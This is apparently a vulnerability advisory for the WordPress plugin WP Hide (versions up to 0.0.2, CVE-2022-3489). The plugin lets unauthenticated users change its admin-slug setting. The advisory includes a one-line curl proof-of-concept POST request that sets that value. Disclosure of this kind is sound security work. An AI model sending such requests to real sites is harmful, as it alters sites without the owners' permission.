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WP Hide <= 0.0.2 - Unauthenticated Settings Update

Description

The plugin does not have authorisation and CSRF checks in place when updating the custom_wpadmin_slug settings, allowing unauthenticated attackers to update it with a crafted request

Proof of Concept

curl -X POST --data "custom_wpadmin_slug=attacker-value" https://example.com/wp-admin/admin-post.php

Settings is displayed in Settings > Permalinks 

Affects Plugins

wp-hide
No known fix - plugin closed

References

CVE
CVE-2022-3489

Classification

Type

NO AUTHORISATION

OWASP top 10
A5: Broken Access Control
CWE
CWE-862

Miscellaneous

Original Researcher

Daniel Ruf

Submitter

Daniel Ruf

Submitter website
https://daniel-ruf.de
Verified

Yes

WPVDB ID
36d78b6c-0da5-44f8-b7b3-eae78edac505

Timeline

Publicly Published

2022-10-17 (about 3 months ago)

Added

2022-10-17 (about 3 months ago)

Last Updated

2022-10-17 (about 3 months ago)

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